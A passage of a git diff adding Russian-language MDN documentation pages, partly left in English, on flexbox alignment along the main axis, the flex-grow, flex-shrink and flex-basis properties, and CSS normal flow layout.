+<p>Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — <code>justify-content</code>. Это обсуловлено тем, что с элементами на  главной оси мы работаем только как с группой. Используя свойство <code>justify-content</code>, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.</p>
+
+<p>В нашем первом примере с использованием свойства <code>display: flex</code>, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство <code>justify-content</code> имеет начальное значение <code>flex-start</code>. Все свободное место располагается в конце контейнера.</p>
+
+<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>Свойство <code>justify-content</code> может принимать те же самые значения, что и <code>align-content</code>.</p>
+
+<ul>
+ <li><code>justify-content: flex-start</code></li>
+ <li><code>justify-content: flex-end</code></li>
+ <li><code>justify-content: center</code></li>
+ <li><code>justify-content: space-between</code></li>
+ <li><code>justify-content: space-around</code></li>
+ <li><code>justify-content: stretch</code></li>
+ <li><code>justify-content: space-evenly</code> (не определено в спецификации Flexbox)</li>
+</ul>
+
+<p>В примере ниже, свойству <code>justify-content</code> задано значение <code>space-between</code>. Все доступное пространство распределяется между элементами после их позиционирования в контейнере. Первый и последний элементы занимают положения в начале и в конце контейнера соответственно.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}}</p>
+
+<p>Если свойство <code>flex-direction</code> имеет значение <code>column</code>, то свойство <code>justify-content</code> распределит доступное пространство в контейнере между элементами.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} </p>
+
+<h3 id="Выравнивание_и_режим_записи">Выравнивание и режим записи</h3>
+
+<p>Необходимо помнить, что при использовании свойств <code>flex-start</code> и<code>flex-end</code> элементы позиционируются в режиме записи. Если свойству <code>justify-content</code> задано значение <code>start</code> и стоит режим записи left-to-right (слева-направо), как в английском, то элементы выравниваются, начиная с левой стороны контейнера.</p>
+
+<p><img alt="Three items lined up on the left" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Однако, если задан режим записи right-to-left (справа-налево), как в арабском языке, то элементы будут выстраиваться с правой стороны контейнера.</p>
+
+<p><img alt="Three items lined up from the right" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>В примере ниже свойству <code>property</code> задано значение <code>rtl</code>, которое изменяет порядок наших элементов. Вы можете удалить это свойство или изменить значение свойства <code>justify-content</code>, чтобы увидеть, как работает flexbox, когда отображение элементов начинается справа.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
+
+<h2 id="Выравнивание_и_гибкое-направление">Выравнивание и гибкое-направление</h2>
+
+<p>Начальное положение элементов поменяется, если вы измените значение свойства <code>flex-direction</code> — например установите <code>row-reverse</code> вместо <code>row</code>.</p>
+
+<p>В следующем примере заданы следующие свойства: <code>flex-direction: row-reverse</code> и <code>justify-content: flex-end</code>. В языках с параметром записи <code>ltr</code> все элементы будут отображаться с левой стороны. Попробуйте изменить свойство <code>flex-direction: row-reverse</code> на <code>flex-direction: row</code>. Вы увидите, что теперь элементы отображаются реверсивно.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
+
+<p>Может показаться немного запутанным, но главное правило, которое необходимо запомить – до тех пор, пока вы не измените свойство <code>flex-direction</code>, элементы контейнера выстраиваются в режиме записи вашего языка (<code>ltr</code> или <code>rtl</code>). </p>
+
+<p><img alt="Diagram showing start on the left and end on the right." src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Вы можете сделать отображение элементов контейнера блочным, задав свойству <code>flex-direction</code> значение  <code>column</code>. Свойство <code>flex-start</code> будет отображать элементы в столбец сверху вниз. Таким образом, первый элемент будет первым параграфом.</p>
+
+<p><img alt="Diagram showing start at the top and end at the bottom." src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>Если вы зададите свойству <code>flex-direction</code> реверсивное значение, то элементы будут позиционироваться в обратном порядке. Так, свойство <code>flex-start</code> будет брать начало в конце контейнера. Первый элемент будет находится в конце строки, если задано строчное отображение элементов или в конце параграфа, если задано блочное отображение.   </p>
+
+<p><img alt="Diagram showing start on the right and end on the left." src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Diagram showing end at the top and start at the bottom" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<h2 id="Использование_авто_отступов_для_выравнивания_по_главной_оси">Использование авто отступов для выравнивания по главной оси</h2>
+
+<p>Так как элементы, расположенные на главной оси, обрабатываются как группа, свойства <code>justify-items</code> или <code>justify-self</code> становятся недоступными. Тем не менее, существует способ отделить конкретный элемент или группу элементов от остальных, используя внешний отступ <code>margin</code> со значением <code>auto</code>. </p>
+
+<p>Распространённый пример — панель навигации, в которой отдельные важные элементы выровнены по правому краю, а основная группа элементов — по левому.</p>
+
+<p>На первый взгляд может показаться, что это юзкейс для свойства <code>justify-self</code>. Однако, рассмотрим следующий ниже пример. Имеется три элемента с одной стороны и два — с другой. Если бы мы могли использовать <code>justify-self</code> на элементе <em>d</em>, это также изменило бы выравнивание следующего элемента — <em>e</em>, что может противоречить первоначальному замыслу.</p>
+
+<p><img alt="Five items, in two groups. Three on the left and two on the right." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
+
+<p>Вместо этого мы можем выбрать четвёртый элемент (<em>d</em>) и отделить его от первых трёх, задав ему значение <code>auto</code> для <code>margin-left</code>. Авто-margin заполнит всё доступное свободное место по своей оси. Тем же образом cработает <code>margin-right</code>. Оба свойства со значениями <code>auto</code> отцентрируют блок, так как каждый из отступов будет пытаться занять максимум пространства.</p>
+
+<p>В интерактивном примере ниже у нас имеется простой ряд из флекс-элементов и класс <code>push</code> с заданным <code>margin-left: auto</code>. Вы можете, например, попробовать удалить это значение или добавить класс другому элементу, чтобы увидеть, как работает этот метод. </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
+
+<h2 id="Будущие_функции_выравнивания_для_Flexbox">Будущие функции выравнивания для Flexbox</h2>
+
+<p>В начале этой статьи объясняется, что свойства выравнивания, которые в настоящее время содержатся в спецификации Flexbox Level 1, также включены в спецификацию Box Alignment Level 3, которая в дальнейшем может расширить эти свойства и значения. Мы уже видели, как это произошло с введением значения <code>space-evenly</code> для свойств <code>align-content</code> и <code>justify-content</code>.</p>
+
+<p>Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как <code>column-gap</code> and <code>row-gap</code>, как показано в макете <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать <code>column-gap</code> и <code>row-gap</code> во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.</p>
+
+<p>Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, а также рассмотреть как выравнивание работает в этих спецификациях в статье <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
+
+<p>Смотрите Также</p>
+
+<ul>
+ <li>Выравнивание Коробки</li>
+ <li>Выравнивание Коробки в Flexbox (Гибкая Коробка)</li>
+ <li>Выравнивание Коробки в Grid Layout (Макет Сетки)</li>
+</ul>
diff --git a/files/ru/web/css/css_flexible_box_layout/контролирование_соотношения_элементов_вдоль_главной_оси/index.html b/files/ru/web/css/css_flexible_box_layout/контролирование_соотношения_элементов_вдоль_главной_оси/index.html
new file mode 100644
index 0000000000..97e521c2e1
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/контролирование_соотношения_элементов_вдоль_главной_оси/index.html
@@ -0,0 +1,194 @@
+---
+title: Управление соотношением элементов вдоль главной оси
+slug: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Контролирование_соотношения_элементов_вдоль_главной_оси
+translation_of: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax
+---
+<div>{{CSSRef}}</div>
+
+<div></div>
+
+<div>В данном руководстве, мы исследуем три свойства  применяемые к flex элементам, которые позволяют нам контролировать размер и  гибкость flex элементов по основной(main) оси. Полное понимание, как эти свойства работают,  при увеличение и уменьшение элементов, есть ключ к мастерству flexbox.</div>
+
+<h2 id="A_first_look">A first look</h2>
+
+<p>Our three properties control the following aspects of a flex item's flexibility:</p>
+
+<ul>
+ <li><code>flex-grow</code>: How much of the positive free space does this item get?</li>
+ <li><code>flex-shrink</code>: How much negative free space can be removed from this item?</li>
+ <li><code>flex-basis</code>: What is the size of the item before growing and shrinking happens?</li>
+</ul>
+
+<p>The properties are usually expressed as the shorthand {{CSSxRef("flex")}} property. The following code would set the <code>flex-grow</code> property to <code>2</code>, <code>flex-shrink</code> to <code>1</code> and <code>flex-basis</code> to <code>auto</code>.</p>
+
+<pre class="brush: css no-line-numbers">.item {
+  flex: 2 1 auto;
+}</pre>
+
+<p>If you have read the article <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a>, then you will have already had an introduction to the properties. Here we will explore them in depth in order that you can fully understand what the browser is doing when you use them.</p>
+
+<h2 id="Important_concepts_when_working_on_the_main_axis">Important concepts when working on the main axis</h2>
+
+<p>There are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. These relate to the <em>natural</em> size of flex items before any growing or shrinking takes place, and to the concept of free space.</p>
+
+<h3 id="Flex_item_sizing">Flex item sizing</h3>
+
+<p>In order to work out how much space there is available to lay out flex items, the browser needs to know how big the item is to start with. How is this worked out for items that don’t have a width or a height applied using an absolute length unit?</p>
+
+<p>There is a concept in CSS of {{CSSxRef('width','min-content','#min-content')}} and {{CSSxRef('width','max-content','#max-content')}} — these keywords are <a href="https://drafts.csswg.org/css-sizing-3/#width-height-keywords">defined in the CSS Intrinsic and Extrinsic Sizing Specification</a>, and can be used in place of a <a href="/en-US/docs/Web/CSS/length">length unit</a>.</p>
+
+<p>In the live example below for instance I have two paragraph elements that contain a string of text. The first paragraph has a width of <code>min-content</code>. In a browser that supports this keyword you should be able to see that the text has taken all of the soft wrapping opportunities available to it, becoming as small as it can be without overflowing. This then, is the <code>min-content</code> size of that string. Essentially, the longest word in the string is dictating the size.</p>
+
+<p>The second paragraph has a value of <code>max-content</code> and so it does the opposite. It gets as big as it possibly can be, taking no soft-wrapping opportunities. It would overflow the box it is in if that container was too narrow.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/min-max-content.html", '100%', 750)}}</p>
+
+<p>If your browser does not yet support these keywords both paragraphs will be rendered as normal paragraphs in block flow; the below screenshots show the expected rendering.</p>
+
+<p><img alt="The first paragraph is wrapped to the longest word, the second stretched out so as to cause overflow." src="https://mdn.mozillademos.org/files/15658/ratios-size.png" style="display: block; height: 558px; margin: 0px auto; width: 1520px;"></p>
+
+<p>Remember this behaviour and what effects <code>min-content</code> and <code>max-content</code> have as we explore <code>flex-grow</code> and <code>flex-shrink</code> later in this article.</p>
+
+<h3 id="Positive_and_negative_free_space">Positive and negative free space</h3>
+
+<p>To talk about these properties we need to understand the concept of <strong>positive and negative free space</strong>. When a flex container has positive free space, it has more space than is required to display the flex items inside the container. For example, if I have a 500 pixel-wide container, {{CSSxRef("flex-direction")}} is <code>row</code>, and I have three flex items each 100 pixels wide, then I have 200 pixels of positive free space, which could be distributed between the items if I wanted them to fill the container.</p>
+
+<p><img alt="Image showing space left over after items have been displayed." src="https://mdn.mozillademos.org/files/15654/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>We have negative free space when the natural size of the items adds up to larger than the available space in the flex container. If I have a 500 pixel-wide container like the one above, but the three flex items are each 200 pixels wide, the total space I need will be 600 pixels, so I have 100 pixels of negative free space. This could be removed from the items in order to make them fit the container.</p>
+
+<p><img alt="The items overflow the container" src="https://mdn.mozillademos.org/files/15655/ratios1.png" style="display: block; height: 198px; margin: 0px auto; width: 634px;"></p>
+
+<p>It is this distribution of positive free space and removal of negative free space that we need to understand in order to understand the flex properties.</p>
+
+<p>In the following examples I am working with {{CSSxRef("flex-direction")}} set to row, therefore the size of items will always come from their width. We will be calculating the positive and negative free space created by comparing the total width of all the items with the container width. You could equally try out each example with <code>flex-direction: column</code>. The main axis would then be the column, and you would then need to compare the height of the items and that of the container they are in to work out the positive and negative free space.</p>
+
+<h2 id="The_flex-basis_property">The flex-basis property</h2>
+
+<p>The {{CSSxRef("flex-basis")}} property specifies the initial size of the flex item before any space distribution happens. The initial value for this property is <code>auto</code>. If <code>flex-basis</code> is set to <code>auto</code> then to work out the initial size of the item the browser first checks if the main size of the item has an absolute size set. This would be the case if you had given your item a width of 200 pixels. In that case <code>200px</code> would be the <code>flex-basis</code> for this item.</p>
+
+<p>If your item is instead auto-sized, then <code>auto</code> resolves to the size of its content. At this point your knowledge of <code>min-</code> and <code>max-content</code> sizing becomes useful, as flexbox will take the <code>max-content</code> size of the item as the <code>flex-basis</code>. The following live example can help to demonstrate this.</p>
+
+<p>In this example I have created a series of inflexible boxes, with both <code>flex-grow</code> and <code>flex-shrink</code> set to <code>0</code>. Here we can see how the first item — which has an explicit width of 150 pixels set as the main size — takes a <code>flex-basis</code> of <code>150px</code>, whereas the other two items have no width and so are sized according to their content width.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-basis.html", '100%', 500)}}</p>
+
+<p>In addition to the <code>auto</code> keyword, you can use the <code>content</code> keyword as the <code>flex-basis</code>. This will result in the <code>flex-basis</code> being taken from the content size even if there is a width set on the item. This is a newer keyword and has less browser support, however you can always get the same effect by using <code>auto</code> as the flex-basis and ensuring that your item does not have a width set, in order that it will be auto-sized.</p>
+
+<p>If you want flexbox to completely ignore the size of the item when doing space distribution then set <code>flex-basis</code> to <code>0</code>. This essentially tells flexbox that all the space is up for grabs, and to share it out in proportion. We will see examples of this as we move on to look at <code>flex-grow</code>.</p>
+
+<h2 id="The_flex-grow_property">The flex-grow property</h2>
+
+<p>The {{CSSxRef("flex-grow")}} property specifies the <strong>flex grow factor</strong>, which determines how much the flex item will grow relative to the rest of the flex items in the flex container when the positive free space is distributed.</p>
+
+<p>If all of your items have the same <code>flex-grow</code> factor then space will be distributed evenly between all of them. If this is the situation that you want then typically you would use <code>1</code> as the value, however you could give them all a <code>flex-grow</code> of <code>88</code>, or <code>100</code>, or <code>1.2</code> if you like — it is a ratio. If the factor is the same for all, and there is positive free space in the flex container then it will be distributed equally to all.</p>
+
+<h3 id="Combining_flex-grow_and_flex-basis">Combining <code>flex-grow</code> and <code>flex-basis</code></h3>
+
+<p>Things can get confusing in terms of how <code>flex-grow</code> and <code>flex-basis</code> interact. Let's consider the case of three flex items of differing content lengths and the following <code>flex</code> rules applied to them:</p>
+
+<p><code>flex: 1 1 auto;</code></p>
+
+<p>In this case the <code>flex-basis</code> value is <code>auto</code> and the items don’t have a width set, and so are auto-sized. This means that flexbox is looking at the <code>max-content</code> size of the items. After laying the items out we have some positive free space in the flex container, shown in this image as the hatched area:</p>
+
+<p><img alt="Images shows the positive free space as a hatched area" src="https://mdn.mozillademos.org/files/15656/ratios2.png" style="display: block; height: 100px; margin: 0px auto; width: 634px;"></p>
+
+<p>We are working with a <code>flex-basis</code> equal to the content size so the available space to distribute is subtracted from the total available space (the width of the flex container), and the leftover space is then shared out equally among each item. Our bigger item ends up bigger because it started from a bigger size, even though it has the same amount of spare space assigned to it as the others:</p>
+
+<p><img alt="The positive space is distributed between items" src="https://mdn.mozillademos.org/files/15657/ratios3.png" style="display: block; height: 100px; margin: 0px auto; width: 634px;"></p>
+
+<p>If what you actually want is three equally-sized items, even if they start out at different sizes, you should use this:</p>
+
+<p><code>flex: 1 1 0;</code></p>
+
+<p>Here we are saying that the size of the item for the purposes of our space distribution calculation is <code>0</code> — all the space is up for grabs and as all of the items have the same <code>flex-grow</code> factor, they each get an equal amount of space distributed. The end result is three equal width, flexible items.</p>
+
+<p>Try changing the <code>flex-grow</code> factor from 1 to 0 in this live example to see the different behavior:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow.html", '100%', 520)}}</p>
+
+<h3 id="Giving_items_different_flex-grow_factors">Giving items different flex-grow factors</h3>
+
+<p>Our understanding of how <code>flex-grow</code> works with <code>flex-basis</code> allows us to have further control over our individual item sizes by assigning items different <code>flex-grow</code> factors. If we keep our <code>flex-basis</code> at <code>0</code> so all of the space can be distributed, we could assign each of the three flex items a different <code>flex-grow</code> factor. In the example below I am using the following values:</p>
+
+<ul>
+ <li><code>1</code> for the first item.</li>
+ <li><code>1</code> for the second item.</li>
+ <li><code>2</code> for the third item.</li>
+</ul>
+
+<p>Working from a <code>flex-basis</code> of <code>0</code> this means that the available space is distributed as follows. We need to add up the flex grow factors, then divide the total amount of positive free space in the flex container by that number, which in this case is 4. We then share out the space according to the individual values — the first item gets one part, the second one part, the third two parts. This means that the third item is twice the size of the first and second items.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow-ratios.html", '100%', 520)}}</p>
+
+<p>Remember that you can use any positive value here. It is the ratio between one item and the others that matters. You can use large numbers, or decimals — it is up to you. To test that out change the values assigned in the above example to <code>.25</code>, <code>.25</code>, and <code>.50</code> — you should see the same result.</p>
+
+<h2 id="The_flex-shrink_property">The <code>flex-shrink</code> property</h2>
+
+<p>The {{CSSxRef("flex-shrink")}} property specifies the <strong>flex shrink factor</strong>, which determines how much the flex item will shrink relative to the rest of the flex items in the flex container when negative free space is distributed.</p>
+
+<p>This property deals with situations where the browser calculates the <code>flex-basis</code> values of the flex items, and finds that they are too large to fit into the flex container. As long as <code>flex-shrink</code> has a positive value the items will shrink in order that they do not overflow the container.</p>
+
+<p>So where <code>flex-grow</code> deals with adding available space, <code>flex-shrink</code> manages taking away space to make boxes fit into their container without overflowing.</p>
+
+<p>In the next live example I have three items in a flex container; I’ve given each a width of 200 pixels, and the container is 500 pixels wide. With <code>flex-shrink</code> set to <code>0</code> the items are not allowed to shrink and so they overflow the box.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink.html", '100%', 500)}}</p>
+
+<p>Change the <code>flex-shrink</code> value to <code>1</code> and you will see each item shrink by the same amount, in order that all of the items now fit in the box. They have become smaller than their initial width in order to do so.</p>
+
+<h3 id="Combining_flex-shrink_and_flex-basis">Combining <code>flex-shrink</code> and <code>flex-basis</code></h3>
+
+<p>You could say that <code>flex-shrink</code> works in pretty much the same way as <code>flex-grow</code>. However there are two reasons why it isn’t <em>quite</em> the same.</p>
+
+<p>While it is usually subtle, defined in the specification is one reason why <code>flex-shrink</code> isn’t quite the same for negative space as <code>flex-grow</code> is for positive space:</p>
+
+<blockquote>
+<p>“Note: The flex shrink factor is multiplied by the flex base size when distributing negative space. This distributes negative space in proportion to how much the item is able to shrink, so that e.g. a small item won’t shrink to zero before a larger item has been noticeably reduced.”</p>
+</blockquote>
+
+<p>The second reason is that flexbox prevents small items from shrinking to zero size during this removal of negative free space. The items will be floored at their <code>min-content</code> size — the size that they become if they take advantage of any soft wrapping opportunities available to them.</p>
+
+<p>You can see this <code>min-content</code> flooring happen in the below example, where the <code>flex-basis</code> is resolving to the size of the content. If you change the width on the flex container — increasing it to 700px for example — and then reduce the flex item width, you can see that the first two items will wrap, however they will never become smaller than that <code>min-content</code> size. As the box gets smaller space is then just removed from the third item.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-min-content.html", '100%', 500)}}</p>
+
+<p>In practice the shrinking behaviour does tend to give you reasonable results. You don’t usually want your content to disappear completely or for boxes to get smaller than their minimum content, so the above rules make sense in terms of sensible behaviour for content that needs to be shrunk in order to fit into a container.</p>
+
+<h3 id="Giving_items_different_flex-shrink_factors">Giving items different <code>flex-shrink</code> factors</h3>
+
+<p>In the same way as <code>flex-grow</code>, you can give flex-items different <code>flex-shrink</code> factors. This can help change the default behaviour if, for example, you want an item to shrink more or less rapidly than its siblings or not shrink at all.</p>
+
+<p>In the following live example the first item has a <code>flex-shrink</code> factor of 1, the second <code>0</code> (so it won’t shrink at all), and the third <code>4</code>. The third item therefore shrinks more rapidly than the first. Play around with the different values — as for <code>flex-grow</code> you can use decimals or larger numbers here. Choose whatever makes most sense to you.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-ratios.html", '100%', 570)}}</p>
+
+<h2 id="Mastering_sizing_of_flex_items">Mastering sizing of flex items</h2>
+
+<p>The key to really understanding how flex item sizing works is in understanding the number of things that come into play. Consider the following aspects, which we have already discussed in these guides:</p>
+
+<h3 id="What_sets_the_base_size_of_the_item">What sets the base size of the item?</h3>
+
+<ol>
+ <li>Is <code>flex-basis</code> set to <code>auto</code>, and does the item have a width set? If so, the size will be based on that width.</li>
+ <li>Is <code>flex-basis</code> set to <code>auto</code> or <code>content</code> (in a supporting browser)? If so, the size is based on the item size.</li>
+ <li>Is <code>flex-basis</code> a length unit, but not zero? If so this is the size of the item.</li>
+ <li>Is <code>flex-basis</code> set to <code>0</code>? if so then the item size is not taken into consideration for the space-sharing calculation.</li>
+</ol>
+
+<h3 id="Do_we_have_available_space">Do we have available space?</h3>
+
+<p>Items can’t grow with no positive free space, and they won’t shrink unless there is negative free space.</p>
+
+<ol>
+ <li>If we took all of the items and added up their widths (or heights if working in a column), is that total <strong>less</strong> than the total width (or height) of the container? If so, then you have positive free space and <code>flex-grow</code> comes into play.</li>
+ <li>If we took all of the items and added up their widths (or heights if working in a column), is that total <strong>more</strong> than the total width (or height) of the container? If so, you have negative free space and <code>flex-shrink</code> comes into play.</li>
+</ol>
+
+<h3 id="Other_ways_to_distribute_space">Other ways to distribute space</h3>
+
+<p>If you do not want space added to the items, remember that you can deal with free space between or around items using the alignment properties described in the guide to aligning items in a flex container. The {{CSSxRef("justify-content")}} property will enable the distribution of free space between or around items. You can also use auto margins on flex items to absorb space and create gaps between items.</p>
+
+<p>With all the flex tools at your disposal you will find that most tasks can be achieved, although it might take a little bit of experimentation at first.</p>
diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html
new file mode 100644
index 0000000000..99afb866d3
--- /dev/null
+++ b/files/ru/web/css/css_flow_layout/index.html
@@ -0,0 +1,53 @@
+---
+title: Поточная раскладка CSS
+slug: Web/CSS/CSS_Flow_Layout
+tags:
+  - CSS
+  - Раскладка
+  - Руководство
+  - поток
+  - поточная раскладка
+translation_of: Web/CSS/CSS_Flow_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><em>Нормальный поток (normal flow) </em>или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.</p>
+
+<p class="summary">По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность <em>вынимается из потока (out of flow)</em>, то она работает независимо.</p>
+
+<p class="summary">В нормальном потоке <strong>строчные (inline)</strong> элементы отображаются в направлении строки (inline direction), то есть в том же направлении, как идут слова в предложении в соответствии с режимом письма (<a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">writing mode</a>) документа. <strong>Блочные (block)</strong> элементы отображаются один за другим, также как параграфы в соответсвии с режимом письма документа. Поэтому в анлгийском языке строчные элементы отображаются один за другим, начиная слева, а блочные элементы выкладываются на странице сверху вниз.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.</p>
+
+<p>Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.</p>
+
+<p>Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
+
+<h2 id="Руководства">Руководства</h2>
+
+<ul>
+ <li>Блочная и строчная раскладки в нормальном потоке (<a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a>).</li>
+ <li>В потоке и вне потока (<a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>).</li>
+ <li>Объяснение контекстов форматирования (<a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a>).</li>
+ <li>Поточная раскладка и режимы письма (<a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a>).</li>
+ <li>Поточная раскладка и переполнение (<a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a>).</li>
+</ul>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<h3 id="Записи_глосария">Записи глосария</h3>
+
+<ul>
+ <li>{{Glossary("Block/CSS", "Block (CSS)")}}</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_flow_layout/блочное_и_строчное_размещение_в_нормальном_потоке/index.html b/files/ru/web/css/css_flow_layout/блочное_и_строчное_размещение_в_нормальном_потоке/index.html
new file mode 100644
index 0000000000..86879d343e
--- /dev/null
+++ b/files/ru/web/css/css_flow_layout/блочное_и_строчное_размещение_в_нормальном_потоке/index.html
@@ -0,0 +1,123 @@
+---
+title: Блочное и строчное расположение в нормальном потоке
+slug: Web/CSS/CSS_Flow_Layout/Блочное_и_строчное_размещение_в_нормальном_потоке
+tags:
+  - CSS
+  - Макет
+  - Макет потока CSS
+  - Отступы
+  - Руководство
+  - Средний уровень
+  - поток
+translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">В этом руководстве мы исследуем основы поведения блочных и строчных элементов - участников нормального потока.</p>
+
+<p>Normal Flow is defined in the <a href="https://www.w3.org/TR/CSS2/visuren.html#normal-flow">CSS 2.1 specification</a>, which explains that any boxes in normal flow will be part of a <em>formatting context</em>. They can be either block or inline, but not both at once. We describe block-level boxes as participating in a <em>block formatting context</em>, and inline-level boxes as participating in an <em>inline formatting context</em>.</p>
+
+<p>The behaviour of elements which have a block or inline formatting context is also defined in this specification. For elements with a block formatting context, the spec says:</p>
+
+<blockquote>
+<p>“In a block formatting context, boxes are laid out one after the other, vertically, beginning at the top of a containing block. The vertical distance between two sibling boxes is determined by the 'margin' properties. Vertical margins between adjacent block-level boxes in a block formatting context collapse.<br>
+ <br>
+ In a block formatting context, each box's left outer edge touches the left edge of the containing block (for right-to-left formatting, right edges touch).” - 9.4.1</p>
+</blockquote>
+
+<p>For elements with an inline formatting context:</p>
+
+<blockquote>
+<p>“In an inline formatting context, boxes are laid out horizontally, one after the other, beginning at the top of a containing block. Horizontal margins, borders, and padding are respected between these boxes. The boxes may be aligned vertically in different ways: their bottoms or tops may be aligned, or the baselines of text within them may be aligned. The rectangular area that contains the boxes that form a line is called a line box.” - 9.4.2</p>
+</blockquote>
+
+<p>Note that the CSS 2.1 specification describes documents as being in a horizontal, top to bottom writing mode. For example, by describing vertical distance between block boxes. The behavior on block and inline elements is the same when working in a vertical writing mode, and we will explore this in a future guide on Flow Layout and Writing Modes.</p>
+
+<h2 id="Elements_participating_in_a_block_formatting_context">Elements participating in a block formatting context</h2>
+
+<p>Block elements in a horizontal writing mode such as English, layout vertically, one below the other.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16125/mdn-horizontal.png" style="height: 382px; width: 521px;"></p>
+
+<p>In a vertical writing mode then would lay out horizontally.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16126/mdn-vertical.png" style="height: 382px; width: 418px;"></p>
+
+<p>In this guide, we will be working in English and therefore a horizontal writing mode. However, everything described should work in the same way if your document is in a vertical writing mode.</p>
+
+<p>As defined in the specification, the margins between two block boxes are what creates separation between the elements. We see this with a very simple layout of two paragraphs, to which I have added a border. The default browser stylesheet adds spacing between the paragraphs by way of adding a margin to the top and bottom.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}</p>
+
+<p>If we set margins on the paragraph element to <code>0</code> then the borders will touch.</p>
+
